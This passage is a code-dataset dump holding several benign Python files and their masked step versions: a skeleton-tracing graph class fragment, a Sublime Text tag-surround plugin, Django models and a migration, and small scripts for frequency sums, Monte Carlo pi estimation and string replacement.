group_id = int(np.nanmax(group_ids))\n\n return group_id\n\n def min_node_id(self) -> int:\n \"\"\" Returns lowest global node id.\"\"\"\n\n if len(self.nodes) > 0:\n min_node_id = min([min(nodes.id) if len(nodes) > 0 else 0 for nodes in self.nodes])\n else:\n min_node_id = 0\n\n return min_node_id\n\n def max_node_id(self) -> int:\n \"\"\" Returns highest global node id.\"\"\"\n\n if len(self.nodes) > 0:\n max_node_id = max([max(nodes.id) if len(nodes) > 0 else 0 for nodes in self.nodes])\n else:\n max_node_id = 0\n\n return max_node_id\n\n def min_tree_id(self) -> int:\n \"\"\" Returns lowest global tree id.\"\"\"\n\n return min(self.tree_ids) if len(self.tree_ids)>0 else 0\n\n def max_tree_id(self) -> int:\n \"\"\" Returns highest global tree id.\"\"\"\n\n return max(self.tree_ids) if len(self.tree_ids)>0 else 0\n\n def num_trees(self) -> int:\n \"\"\"Returns number of trees contained in skeleton object.\"\"\"\n\n return len(self.nodes)\n\n def groups_ids(self) -> List[int]:\n \"\"\" Returns all ids defined in groups tree\"\"\"\n\n _, groups_ids = Skeleton._group_get_ids(self.groups)\n\n return groups_ids\n\n # Private Methods\n def _get_unit_factor(self, unit: str) -> np.ndarray:\n \"\"\" Returns factor for unit conversion\n\n Args:\n unit: Unit for which to return the conversion factor.\n Options: 'vx' (voxels), 'nm' (nanometer), 'um' (micrometer)\n\n Returns:\n unit_factor (shape=(3,)): Unit conversion factors\n \"\"\"\n\n unit_factors = {\n 'vx': np.array((1, 1, 1)),\n 'nm': np.array(self.parameters.scale),\n 'um': np.array(self.parameters.scale)/1000\n }\n assert unit in unit_factors.keys(), 'Invalid unit'\n unit_factor = unit_factors[unit]\n\n return unit_factor\n\n def _reset_node_ids(self, start_id: int):\n \"\"\" Resets node ids of skeleton to begin with start value.\n\n Args:\n start_id: Start value to which the lowest node id should be set.\n \"\"\"\n\n add_id = start_id - self.min_node_id()\n for tree_idx, _ in enumerate(self.nodes):\n self.nodes[tree_idx].nodes['id'] += add_id\n self.edges[tree_idx] += add_id\n\n def _reset_tree_ids(self, start_id: int):\n \"\"\" Resets tree ids of skeleton to begin with start value.\n\n Args:\n start_id: Start value to which the lowest tree id should be set.\n \"\"\"\n\n add_id = start_id - self.min_tree_id()\n self.tree_ids = [tree_id + add_id for tree_id in self.tree_ids]\n\n def _reset_group_ids(self, start_id: int):\n \"\"\" Resets group ids of skeleton to begin with start value.\n\n Args:\n start_id: Start value to which the lowest group id should be set.\n \"\"\"\n\n min_group_id = self.min_group_id()\n if min_group_id is not None:\n add_id = start_id - min_group_id\n self.group_ids = [i + add_id if i is not None else i for i in self.group_ids]\n self.groups = [Skeleton._group_modify_id(group, id_modifier=lambda x: x + add_id) for group in self.groups]\n\n def _parameters_to_skeleton(self, parameters):\n \"\"\" Generates bare skeleton object from parameters.\"\"\"\n\n self.parameters = parameters\n\n def _nml_to_skeleton(self, nml):\n \"\"\" Converts wknml to skeleton data structures.\"\"\"\n\n self.groups = nml.groups\n self.branchpoints = nml.branchpoints\n self.parameters = Parameters(**nml.parameters._asdict())\n\n for tree in nml.trees:\n self.add_tree(\n nodes=Skeleton._nml_nodes_to_nodes(nml_nodes=tree.nodes, nml_comments=nml.comments),\n edges=np.array([(edge.source, edge.target) for edge in tree.edges]),\n group_id=tree.groupId,\n name=tree.name,\n color=tree.color\n )\n\n def _skeleton_to_nml(self):\n \"\"\" Converts skeleton to wknml data structures.\"\"\"\n\n trees = []\n for tree_idx, tree_id in enumerate(self.tree_ids):\n nml_nodes = Skeleton._nodes_to_nml_nodes(self.nodes[tree_idx])\n nml_edges = Skeleton._edges_to_nml_edges(self.edges[tree_idx])\n tree = wknml.Tree(\n id=tree_id,\n color=self.colors[tree_idx],\n name=self.names[tree_idx],\n groupId=self.group_ids[tree_idx],\n nodes=nml_nodes,\n edges=nml_edges\n )\n trees.append(tree)\n\n nml = wknml.NML(\n parameters=wknml.NMLParameters(**self.parameters._asdict()),\n trees=trees,\n branchpoints=self.branchpoints,\n comments=self._skeleton_to_nml_comments(),\n groups=self.groups\n )\n\n return nml\n\n def _skeleton_to_nml_comments(self):\n \"\"\" Converts skeleton to wknml comments.\"\"\"\n\n nml_comments = []\n for nodes in self.nodes:\n comment_nodes = nodes[nodes['comment'].notnull()]\n for _, row in comment_nodes.iterrows():\n nml_comment = wknml.Comment(\n node=row['id'].values[0],\n content=row['comment'].values[0]\n )\n nml_comments.append(nml_comment)\n\n return nml_comments\n\n # Static Methods\n @staticmethod\n def define_parameters(\n name: str,\n scale: Tuple[float, float, float],\n offset: Tuple[float, float, float] = (0, 0, 0),\n time: int = 0,\n editPosition: Tuple[float, float, float] = (1.0, 1.0, 1.0),\n editRotation: Tuple[float, float, float] = (0.0, 0.0, 0.0),\n zoomLevel: float = 1.0,\n taskBoundingBox: Tuple[int, int, int, int, int, int] = None,\n userBoundingBox: Tuple[int, int, int, int, int, int] = None) -> Parameters:\n\n parameters = Parameters(\n name=name,\n scale=scale,\n offset=offset,\n time=time,\n editPosition=editPosition,\n editRotation=editRotation,\n zoomLevel=zoomLevel,\n taskBoundingBox=taskBoundingBox,\n userBoundingBox=userBoundingBox\n )\n\n return parameters\n\n # Static Methods\n @staticmethod\n def get_distance(positions: np.ndarray, position: np.ndarray, unit_factor: np.ndarray = None):\n \"\"\" Get the (euclidean) distances between positions and a target position\n\n Args:\n positions (N x 3): Array holding (multiple) x, y, z positions\n position (1 x 3): Array holding x, y, z position to which the distances should be computed\n unit_factors (1 x 3 Array, optional): Conversion factors with which distances are multiplied. Default (1,1,1)\n\n Returns:\n distances: Arrays holding distances\n\n \"\"\"\n\n if unit_factor is None:\n unit_factor = np.array([1, 1, 1])\n\n distances = np.sqrt(np.sum(((positions - position) * unit_factor.reshape(1, 3)) ** 2, axis=1))\n\n return distances\n\n # Static Private Methods\n @staticmethod\n def _nml_nodes_to_nodes(nml_nodes, nml_comments):\n \"\"\" Converts wknml nodes (list of named tuples) to skeleton nodes (DataFrame subclass).\"\"\"\n\n data = [(node.id, node.position[0], node.position[1], node.position[2], node.radius, node.rotation[0],\n node.rotation[1], node.rotation[2], node.inVp, node.inMag, node.bitDepth, node.interpolation,\n node.time, np.nan) for node in nml_nodes]\n\n nodes = Nodes(data=data)\n\n # Add comments to nodes table\n comment_node_ids = [comment.node for comment in nml_comments]\n comment_strings = [comment.content for comment in nml_comments]\n nodes_ids_comments = nodes.id[nodes.id.isin(comment_node_ids)]\n for id in nodes_ids_comments:\n id_comment = comment_strings[comment_node_ids.index(id)]\n nodes.loc[nodes.id == id, ('comment', '')] = id_comment\n\n return nodes\n\n @staticmethod\n def _nodes_to_nml_nodes(nodes):\n \"\"\" Converts skeleton nodes (DataFrame subclass) to wknml nodes (list of named tuples).\"\"\"\n\n nml_nodes = []\n for idx, row in nodes.iterrows():\n nml_node = wknml.Node(\n id=int(row.id),\n position=tuple(row.position.values),\n radius=float(row.radius),\n rotation=tuple(row.rotation.values),\n inVp=int(row.inVp),\n inMag=int(row.inMag),\n bitDepth=int(row.bitDepth),\n interpolation=bool(row.interpolation.values),\n time=int(row.time)\n )\n nml_nodes.append(nml_node)\n\n return nml_nodes\n\n @staticmethod\n def _edges_to_nml_edges(edges):\n \"\"\" Converts skeleton edges (numpy array) to wknml edges (list of named tuples).\"\"\"\n\n nml_edges = []\n for idx in range(edges.shape[0]):\n nml_edge = wknml.Edge(\n source=int(edges[idx, 0]),\n target=int(edges[idx, 1]),\n )\n nml_edges.append(nml_edge)\n\n return nml_edges\n\n @staticmethod\n def _group_append(groups, id, new_group):\n \"\"\" Appends new group as a child of existing group with specified id. Currently only works up to depth=3.\"\"\"\n\n path_inds = []\n _, _, idx = Skeleton._group_parent(groups, id)\n while id is not None:\n path_inds.append(idx)\n id, idx, _ = Skeleton._group_parent(groups, id)\n\n path_inds = list(reversed(path_inds))\n\n if len(path_inds) == 1:\n groups[path_inds[0]]._replace(children=new_group)\n elif len(path_inds) == 2:\n groups[path_inds[0]].children[path_inds[1]]._replace(children=new_group)\n elif len(path_inds) == 3:\n groups[path_inds[0]].children[path_inds[1]].children[path_inds[2]]._replace(children=new_group)\n\n return groups\n\n @staticmethod\n def _group_parent(groups, id, parent_id=None, parent_idx=None, child_idx=None):\n \"\"\" Returns the id of the parent group for a (child) group with specified id.\"\"\"\n\n for group in groups:\n if id in [x.id for x in group.children]:\n parent_id = group.id\n parent_idx = groups.index(group)\n child_idx = [x.id for x in group.children].index(id)\n else:\n parent_id, parent_idx, child_idx = Skeleton._group_parent(group.children, id, parent_id, parent_idx, child_idx)\n\n return parent_id, parent_idx, child_idx\n\n @staticmethod\n def _group_modify_id(group, id_modifier):\n \"\"\" Modifies group ids with the passed id_modifier (e.g. lambda) function.\"\"\"\n\n group = group._replace(id=id_modifier(group.id))\n group = group._replace(children=list(map(lambda g: Skeleton._group_modify_id(g, id_modifier), group.children)))\n\n return group\n\n @staticmethod\n def _group_get_ids(groups, ids = []):\n\n for group in groups:\n ids.append(group.id)\n Skeleton._group_get_ids(group.children, ids)\n\n return groups, ids\n\n @staticmethod\n def _get_graph(nodes: Nodes, edges: np.ndarray):\n \"\"\" Returns the networkx graph representation of provided nodes and edges.\"\"\"\n\n graph = nx.Graph()\n graph.add_nodes_from(nodes['id'])\n attrs = nodes.set_index('id').to_dict('index')\n nx.set_node_attributes(graph, attrs)\n graph.add_edges_from(edges)\n\n return graph\n\n @staticmethod\n def _num_conn_comp(graph):\n \"\"\" Returns number of connected components for graph\"\"\"\n\n return nx.number_connected_components(graph)\n\n\n", "step-ids": [ 25, 43, 44, 46, 50 ] }
[ 25, 43, 44, 46, 50 ]
import sublime import sublime_plugin class PromptSurrounderCommand(sublime_plugin.WindowCommand): def run(self): self.window.show_input_panel("Surround by:", "", self.on_done, None, None) def on_done(self, tag): try: if self.window.active_view(): self.window.active_view().run_command("surround_by", {"tag": tag}) except ValueError: print('hi') class SurroundByCommand(sublime_plugin.TextCommand): def run(self, edit, tag): for region in self.view.sel(): text = self.view.substr(region) self.view.replace(edit,region,"<"+tag+">"+text+"</"+tag.split()[0]+">")
normal
{ "blob_id": "bcc4276ea240247519cabbf5fc5646a9147ee3be", "index": 545, "step-1": "<mask token>\n\n\nclass SurroundByCommand(sublime_plugin.TextCommand):\n\n def run(self, edit, tag):\n for region in self.view.sel():\n text = self.view.substr(region)\n self.view.replace(edit, region, '<' + tag + '>' + text + '</' +\n tag.split()[0] + '>')\n", "step-2": "<mask token>\n\n\nclass PromptSurrounderCommand(sublime_plugin.WindowCommand):\n <mask token>\n <mask token>\n\n\nclass SurroundByCommand(sublime_plugin.TextCommand):\n\n def run(self, edit, tag):\n for region in self.view.sel():\n text = self.view.substr(region)\n self.view.replace(edit, region, '<' + tag + '>' + text + '</' +\n tag.split()[0] + '>')\n", "step-3": "<mask token>\n\n\nclass PromptSurrounderCommand(sublime_plugin.WindowCommand):\n\n def run(self):\n self.window.show_input_panel('Surround by:', '', self.on_done, None,\n None)\n\n def on_done(self, tag):\n try:\n if self.window.active_view():\n self.window.active_view().run_command('surround_by', {'tag':\n tag})\n except ValueError:\n print('hi')\n\n\nclass SurroundByCommand(sublime_plugin.TextCommand):\n\n def run(self, edit, tag):\n for region in self.view.sel():\n text = self.view.substr(region)\n self.view.replace(edit, region, '<' + tag + '>' + text + '</' +\n tag.split()[0] + '>')\n", "step-4": "import sublime\nimport sublime_plugin\n\n\nclass PromptSurrounderCommand(sublime_plugin.WindowCommand):\n\n def run(self):\n self.window.show_input_panel('Surround by:', '', self.on_done, None,\n None)\n\n def on_done(self, tag):\n try:\n if self.window.active_view():\n self.window.active_view().run_command('surround_by', {'tag':\n tag})\n except ValueError:\n print('hi')\n\n\nclass SurroundByCommand(sublime_plugin.TextCommand):\n\n def run(self, edit, tag):\n for region in self.view.sel():\n text = self.view.substr(region)\n self.view.replace(edit, region, '<' + tag + '>' + text + '</' +\n tag.split()[0] + '>')\n", "step-5": "import sublime\nimport sublime_plugin\n\nclass PromptSurrounderCommand(sublime_plugin.WindowCommand):\n def run(self):\n self.window.show_input_panel(\"Surround by:\", \"\", self.on_done, None, None)\n\n def on_done(self, tag):\n try:\n if self.window.active_view():\n self.window.active_view().run_command(\"surround_by\", {\"tag\": tag})\n except ValueError:\n print('hi')\n\n\nclass SurroundByCommand(sublime_plugin.TextCommand):\n\tdef run(self, edit, tag):\n\t\tfor region in self.view.sel():\n\t\t\ttext = self.view.substr(region)\n\t\t\tself.view.replace(edit,region,\"<\"+tag+\">\"+text+\"</\"+tag.split()[0]+\">\")\n\n", "step-ids": [ 2, 3, 5, 6, 7 ] }
[ 2, 3, 5, 6, 7 ]
# -*- coding: utf-8 -*- # Generated by Django 1.9.4 on 2016-06-10 12:20 from __future__ import unicode_literals from django.db import migrations, models class Migration(migrations.Migration): initial = True dependencies = [ ] operations = [ migrations.CreateModel( name='CompleteAddress', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('state', models.CharField(max_length=200)), ('district', models.CharField(max_length=200)), ('city', models.CharField(max_length=200)), ('lendmark', models.CharField(max_length=200)), ('street', models.CharField(max_length=200)), ('pincode', models.IntegerField()), ], ), migrations.CreateModel( name='ContactDetail', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('phone_num', models.IntegerField()), ('mobile_num', models.IntegerField()), ('tollfree_num', models.IntegerField()), ('website', models.URLField()), ('email', models.EmailField(max_length=254)), ], ), migrations.CreateModel( name='HospitalRegistration', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('hospital_name', models.CharField(max_length=200)), ('tagline', models.CharField(max_length=200)), ('chief_officer', models.CharField(max_length=100)), ('establishment_act', models.CharField(max_length=300)), ('issue_date', models.DateField(max_length=20)), ('number_of_bades', models.IntegerField()), ('about_us', models.TextField()), ('logo', models.ImageField(upload_to='Images/logo/')), ('hospital_photo', models.ImageField(upload_to='Images/hospital_photo/')), ('reg_certificate', models.ImageField(upload_to='Images/reg_certificate/')), ('license_certificate', models.ImageField(upload_to='Images/license_certificate/')), ], ), ]
normal
{ "blob_id": "d2368ab243a0660cf98f1cf89d3d8f6cc85cefaa", "index": 6384, "step-1": "<mask token>\n", "step-2": "<mask token>\n\n\nclass Migration(migrations.Migration):\n <mask token>\n <mask token>\n <mask token>\n", "step-3": "<mask token>\n\n\nclass Migration(migrations.Migration):\n initial = True\n dependencies = []\n operations = [migrations.CreateModel(name='CompleteAddress', fields=[(\n 'id', models.AutoField(auto_created=True, primary_key=True,\n serialize=False, verbose_name='ID')), ('state', models.CharField(\n max_length=200)), ('district', models.CharField(max_length=200)), (\n 'city', models.CharField(max_length=200)), ('lendmark', models.\n CharField(max_length=200)), ('street', models.CharField(max_length=\n 200)), ('pincode', models.IntegerField())]), migrations.CreateModel\n (name='ContactDetail', fields=[('id', models.AutoField(auto_created\n =True, primary_key=True, serialize=False, verbose_name='ID')), (\n 'phone_num', models.IntegerField()), ('mobile_num', models.\n IntegerField()), ('tollfree_num', models.IntegerField()), (\n 'website', models.URLField()), ('email', models.EmailField(\n max_length=254))]), migrations.CreateModel(name=\n 'HospitalRegistration', fields=[('id', models.AutoField(\n auto_created=True, primary_key=True, serialize=False, verbose_name=\n 'ID')), ('hospital_name', models.CharField(max_length=200)), (\n 'tagline', models.CharField(max_length=200)), ('chief_officer',\n models.CharField(max_length=100)), ('establishment_act', models.\n CharField(max_length=300)), ('issue_date', models.DateField(\n max_length=20)), ('number_of_bades', models.IntegerField()), (\n 'about_us', models.TextField()), ('logo', models.ImageField(\n upload_to='Images/logo/')), ('hospital_photo', models.ImageField(\n upload_to='Images/hospital_photo/')), ('reg_certificate', models.\n ImageField(upload_to='Images/reg_certificate/')), (\n 'license_certificate', models.ImageField(upload_to=\n 'Images/license_certificate/'))])]\n", "step-4": "from __future__ import unicode_literals\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n initial = True\n dependencies = []\n operations = [migrations.CreateModel(name='CompleteAddress', fields=[(\n 'id', models.AutoField(auto_created=True, primary_key=True,\n serialize=False, verbose_name='ID')), ('state', models.CharField(\n max_length=200)), ('district', models.CharField(max_length=200)), (\n 'city', models.CharField(max_length=200)), ('lendmark', models.\n CharField(max_length=200)), ('street', models.CharField(max_length=\n 200)), ('pincode', models.IntegerField())]), migrations.CreateModel\n (name='ContactDetail', fields=[('id', models.AutoField(auto_created\n =True, primary_key=True, serialize=False, verbose_name='ID')), (\n 'phone_num', models.IntegerField()), ('mobile_num', models.\n IntegerField()), ('tollfree_num', models.IntegerField()), (\n 'website', models.URLField()), ('email', models.EmailField(\n max_length=254))]), migrations.CreateModel(name=\n 'HospitalRegistration', fields=[('id', models.AutoField(\n auto_created=True, primary_key=True, serialize=False, verbose_name=\n 'ID')), ('hospital_name', models.CharField(max_length=200)), (\n 'tagline', models.CharField(max_length=200)), ('chief_officer',\n models.CharField(max_length=100)), ('establishment_act', models.\n CharField(max_length=300)), ('issue_date', models.DateField(\n max_length=20)), ('number_of_bades', models.IntegerField()), (\n 'about_us', models.TextField()), ('logo', models.ImageField(\n upload_to='Images/logo/')), ('hospital_photo', models.ImageField(\n upload_to='Images/hospital_photo/')), ('reg_certificate', models.\n ImageField(upload_to='Images/reg_certificate/')), (\n 'license_certificate', models.ImageField(upload_to=\n 'Images/license_certificate/'))])]\n", "step-5": "# -*- coding: utf-8 -*-\n# Generated by Django 1.9.4 on 2016-06-10 12:20\nfrom __future__ import unicode_literals\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n initial = True\n\n dependencies = [\n ]\n\n operations = [\n migrations.CreateModel(\n name='CompleteAddress',\n fields=[\n ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),\n ('state', models.CharField(max_length=200)),\n ('district', models.CharField(max_length=200)),\n ('city', models.CharField(max_length=200)),\n ('lendmark', models.CharField(max_length=200)),\n ('street', models.CharField(max_length=200)),\n ('pincode', models.IntegerField()),\n ],\n ),\n migrations.CreateModel(\n name='ContactDetail',\n fields=[\n ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),\n ('phone_num', models.IntegerField()),\n ('mobile_num', models.IntegerField()),\n ('tollfree_num', models.IntegerField()),\n ('website', models.URLField()),\n ('email', models.EmailField(max_length=254)),\n ],\n ),\n migrations.CreateModel(\n name='HospitalRegistration',\n fields=[\n ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),\n ('hospital_name', models.CharField(max_length=200)),\n ('tagline', models.CharField(max_length=200)),\n ('chief_officer', models.CharField(max_length=100)),\n ('establishment_act', models.CharField(max_length=300)),\n ('issue_date', models.DateField(max_length=20)),\n ('number_of_bades', models.IntegerField()),\n ('about_us', models.TextField()),\n ('logo', models.ImageField(upload_to='Images/logo/')),\n ('hospital_photo', models.ImageField(upload_to='Images/hospital_photo/')),\n ('reg_certificate', models.ImageField(upload_to='Images/reg_certificate/')),\n ('license_certificate', models.ImageField(upload_to='Images/license_certificate/')),\n ],\n ),\n ]\n", "step-ids": [ 0, 1, 2, 3, 4 ] }
[ 0, 1, 2, 3, 4 ]
# Should print 516 def final_frequency(): frequency = 0 with open('input') as f: for line in f: frequency += int(line) return frequency print(final_frequency())
normal
{ "blob_id": "4d68b663933070cb287689b70d6ded07958cef22", "index": 3047, "step-1": "<mask token>\n", "step-2": "def final_frequency():\n frequency = 0\n with open('input') as f:\n for line in f:\n frequency += int(line)\n return frequency\n\n\n<mask token>\n", "step-3": "def final_frequency():\n frequency = 0\n with open('input') as f:\n for line in f:\n frequency += int(line)\n return frequency\n\n\nprint(final_frequency())\n", "step-4": "# Should print 516\ndef final_frequency():\n frequency = 0\n\n with open('input') as f:\n for line in f:\n frequency += int(line)\n\n return frequency\n\n\nprint(final_frequency())\n", "step-5": null, "step-ids": [ 0, 1, 2, 3 ] }
[ 0, 1, 2, 3 ]
from graphics import * from random import random def printIntro(): print("This program evaluates pi via Monte Carlo techniques") def simDarts(n): win = GraphWin("", 400, 400) win.setCoords(-1.2, -1.2, 1.2, 1.2) hits = 0 for i in range(n): pt = getDarts() if hitTarget(pt): hits = hits + 1 else: hits = hits return hits def getDarts(): x = 2 * random() -1 y = 2 * random() -1 pt = Point(x, y) return pt def hitTarget(pt): x = pt.getX() y = pt.getY() if (x**2+y**2) <= 1: return True else: return False def getPi(hits, n): pi = 4 * (hits/n) return pi def main(): printIntro() n = eval(input("Please enter the number of simulation (n > 500): ")) h = simDarts(n) pi = getPi(h, n) print("Pi = ", pi) main()
normal
{ "blob_id": "0bf970a84911d29a8343575ef15f2765875b8b89", "index": 9552, "step-1": "<mask token>\n\n\ndef printIntro():\n print('This program evaluates pi via Monte Carlo techniques')\n\n\n<mask token>\n\n\ndef getDarts():\n x = 2 * random() - 1\n y = 2 * random() - 1\n pt = Point(x, y)\n return pt\n\n\ndef hitTarget(pt):\n x = pt.getX()\n y = pt.getY()\n if x ** 2 + y ** 2 <= 1:\n return True\n else:\n return False\n\n\ndef getPi(hits, n):\n pi = 4 * (hits / n)\n return pi\n\n\ndef main():\n printIntro()\n n = eval(input('Please enter the number of simulation (n > 500): '))\n h = simDarts(n)\n pi = getPi(h, n)\n print('Pi = ', pi)\n\n\n<mask token>\n", "step-2": "<mask token>\n\n\ndef printIntro():\n print('This program evaluates pi via Monte Carlo techniques')\n\n\ndef simDarts(n):\n win = GraphWin('', 400, 400)\n win.setCoords(-1.2, -1.2, 1.2, 1.2)\n hits = 0\n for i in range(n):\n pt = getDarts()\n if hitTarget(pt):\n hits = hits + 1\n else:\n hits = hits\n return hits\n\n\ndef getDarts():\n x = 2 * random() - 1\n y = 2 * random() - 1\n pt = Point(x, y)\n return pt\n\n\ndef hitTarget(pt):\n x = pt.getX()\n y = pt.getY()\n if x ** 2 + y ** 2 <= 1:\n return True\n else:\n return False\n\n\ndef getPi(hits, n):\n pi = 4 * (hits / n)\n return pi\n\n\ndef main():\n printIntro()\n n = eval(input('Please enter the number of simulation (n > 500): '))\n h = simDarts(n)\n pi = getPi(h, n)\n print('Pi = ', pi)\n\n\n<mask token>\n", "step-3": "<mask token>\n\n\ndef printIntro():\n print('This program evaluates pi via Monte Carlo techniques')\n\n\ndef simDarts(n):\n win = GraphWin('', 400, 400)\n win.setCoords(-1.2, -1.2, 1.2, 1.2)\n hits = 0\n for i in range(n):\n pt = getDarts()\n if hitTarget(pt):\n hits = hits + 1\n else:\n hits = hits\n return hits\n\n\ndef getDarts():\n x = 2 * random() - 1\n y = 2 * random() - 1\n pt = Point(x, y)\n return pt\n\n\ndef hitTarget(pt):\n x = pt.getX()\n y = pt.getY()\n if x ** 2 + y ** 2 <= 1:\n return True\n else:\n return False\n\n\ndef getPi(hits, n):\n pi = 4 * (hits / n)\n return pi\n\n\ndef main():\n printIntro()\n n = eval(input('Please enter the number of simulation (n > 500): '))\n h = simDarts(n)\n pi = getPi(h, n)\n print('Pi = ', pi)\n\n\nmain()\n", "step-4": "from graphics import *\nfrom random import random\n\n\ndef printIntro():\n print('This program evaluates pi via Monte Carlo techniques')\n\n\ndef simDarts(n):\n win = GraphWin('', 400, 400)\n win.setCoords(-1.2, -1.2, 1.2, 1.2)\n hits = 0\n for i in range(n):\n pt = getDarts()\n if hitTarget(pt):\n hits = hits + 1\n else:\n hits = hits\n return hits\n\n\ndef getDarts():\n x = 2 * random() - 1\n y = 2 * random() - 1\n pt = Point(x, y)\n return pt\n\n\ndef hitTarget(pt):\n x = pt.getX()\n y = pt.getY()\n if x ** 2 + y ** 2 <= 1:\n return True\n else:\n return False\n\n\ndef getPi(hits, n):\n pi = 4 * (hits / n)\n return pi\n\n\ndef main():\n printIntro()\n n = eval(input('Please enter the number of simulation (n > 500): '))\n h = simDarts(n)\n pi = getPi(h, n)\n print('Pi = ', pi)\n\n\nmain()\n", "step-5": "from graphics import *\nfrom random import random\n\ndef printIntro():\n print(\"This program evaluates pi via Monte Carlo techniques\")\n \ndef simDarts(n):\n win = GraphWin(\"\", 400, 400)\n win.setCoords(-1.2, -1.2, 1.2, 1.2)\n hits = 0 \n\n for i in range(n):\n pt = getDarts()\n if hitTarget(pt):\n hits = hits + 1\n else:\n hits = hits\n return hits\n \ndef getDarts():\n x = 2 * random() -1\n y = 2 * random() -1\n pt = Point(x, y)\n return pt\n\ndef hitTarget(pt):\n x = pt.getX()\n y = pt.getY()\n if (x**2+y**2) <= 1:\n return True\n else:\n return False\n\n\ndef getPi(hits, n):\n pi = 4 * (hits/n)\n return pi\n\n\ndef main():\n printIntro()\n n = eval(input(\"Please enter the number of simulation (n > 500): \"))\n h = simDarts(n)\n pi = getPi(h, n)\n print(\"Pi = \", pi)\n \n\nmain()\n", "step-ids": [ 5, 6, 7, 8, 9 ] }
[ 5, 6, 7, 8, 9 ]
<|reserved_special_token_0|> class Group(models.Model): <|reserved_special_token_0|> <|reserved_special_token_0|> <|reserved_special_token_0|> <|reserved_special_token_0|> <|reserved_special_token_0|> <|reserved_special_token_0|> <|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> class Group(models.Model): name = models.CharField(max_length=100, default='') description = models.TextField() owner = models.ForeignKey(sUser, related_name='my_own_groups') users = models.ManyToManyField(sUser, related_name='my_groups') type = models.CharField(max_length=7, choices=TYPES) created_at = models.DateField(auto_now=True) def __unicode__(self): return self.name <|reserved_special_token_1|> <|reserved_special_token_0|> TYPES = ('public', 'public'), ('private', 'private') class Group(models.Model): name = models.CharField(max_length=100, default='') description = models.TextField() owner = models.ForeignKey(sUser, related_name='my_own_groups') users = models.ManyToManyField(sUser, related_name='my_groups') type = models.CharField(max_length=7, choices=TYPES) created_at = models.DateField(auto_now=True) def __unicode__(self): return self.name <|reserved_special_token_1|> from django.db import models from django.contrib.auth.models import User as sUser TYPES = ('public', 'public'), ('private', 'private') class Group(models.Model): name = models.CharField(max_length=100, default='') description = models.TextField() owner = models.ForeignKey(sUser, related_name='my_own_groups') users = models.ManyToManyField(sUser, related_name='my_groups') type = models.CharField(max_length=7, choices=TYPES) created_at = models.DateField(auto_now=True) def __unicode__(self): return self.name <|reserved_special_token_1|> from django.db import models from django.contrib.auth.models import User as sUser TYPES = ( ('public', 'public'), ('private', 'private'), ) #class GroupManager(models.Manager): # def get_all_users(self): # return self.extra(where=['users']) class Group(models.Model): name = models.CharField(max_length=100, default='') description = models.TextField() owner = models.ForeignKey(sUser, related_name='my_own_groups') users = models.ManyToManyField(sUser, related_name='my_groups') type = models.CharField(max_length=7, choices=TYPES) created_at = models.DateField(auto_now=True) #objects =GroupManager() def __unicode__(self): return self.name
flexible
{ "blob_id": "8baf61a20a64f296304b6a7017a24f1216e3d771", "index": 2908, "step-1": "<mask token>\n\n\nclass Group(models.Model):\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n", "step-2": "<mask token>\n\n\nclass Group(models.Model):\n name = models.CharField(max_length=100, default='')\n description = models.TextField()\n owner = models.ForeignKey(sUser, related_name='my_own_groups')\n users = models.ManyToManyField(sUser, related_name='my_groups')\n type = models.CharField(max_length=7, choices=TYPES)\n created_at = models.DateField(auto_now=True)\n\n def __unicode__(self):\n return self.name\n", "step-3": "<mask token>\nTYPES = ('public', 'public'), ('private', 'private')\n\n\nclass Group(models.Model):\n name = models.CharField(max_length=100, default='')\n description = models.TextField()\n owner = models.ForeignKey(sUser, related_name='my_own_groups')\n users = models.ManyToManyField(sUser, related_name='my_groups')\n type = models.CharField(max_length=7, choices=TYPES)\n created_at = models.DateField(auto_now=True)\n\n def __unicode__(self):\n return self.name\n", "step-4": "from django.db import models\nfrom django.contrib.auth.models import User as sUser\nTYPES = ('public', 'public'), ('private', 'private')\n\n\nclass Group(models.Model):\n name = models.CharField(max_length=100, default='')\n description = models.TextField()\n owner = models.ForeignKey(sUser, related_name='my_own_groups')\n users = models.ManyToManyField(sUser, related_name='my_groups')\n type = models.CharField(max_length=7, choices=TYPES)\n created_at = models.DateField(auto_now=True)\n\n def __unicode__(self):\n return self.name\n", "step-5": "from django.db import models\nfrom django.contrib.auth.models import User as sUser\n\nTYPES = (\n ('public', 'public'),\n ('private', 'private'),\n)\n\n#class GroupManager(models.Manager):\n# def get_all_users(self):\n# return self.extra(where=['users'])\n\nclass Group(models.Model):\n name = models.CharField(max_length=100, default='')\n description = models.TextField()\n owner = models.ForeignKey(sUser, related_name='my_own_groups')\n users = models.ManyToManyField(sUser, related_name='my_groups')\n type = models.CharField(max_length=7, choices=TYPES)\n created_at = models.DateField(auto_now=True)\n #objects =GroupManager()\n\n def __unicode__(self):\n return self.name", "step-ids": [ 1, 3, 4, 5, 6 ] }
[ 1, 3, 4, 5, 6 ]
<|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> print(cadena.replace(' ', separador)) <|reserved_special_token_1|> cadena = input('Introduzca su cadena: ') separador = input('Introduzca el separador: ') print(cadena.replace(' ', separador)) <|reserved_special_token_1|> cadena = input("Introduzca su cadena: ") separador = input("Introduzca el separador: ") print(cadena.replace(" ", separador))
flexible
{ "blob_id": "290b8b4c3aeafc84b1e9cce7e6d2a5e770bd8716", "index": 3444, "step-1": "<mask token>\n", "step-2": "<mask token>\nprint(cadena.replace(' ', separador))\n", "step-3": "cadena = input('Introduzca su cadena: ')\nseparador = input('Introduzca el separador: ')\nprint(cadena.replace(' ', separador))\n", "step-4": "cadena = input(\"Introduzca su cadena: \")\nseparador = input(\"Introduzca el separador: \")\nprint(cadena.replace(\" \", separador))", "step-5": null, "step-ids": [ 0, 1, 2, 3 ] }
[ 0, 1, 2, 3 ]
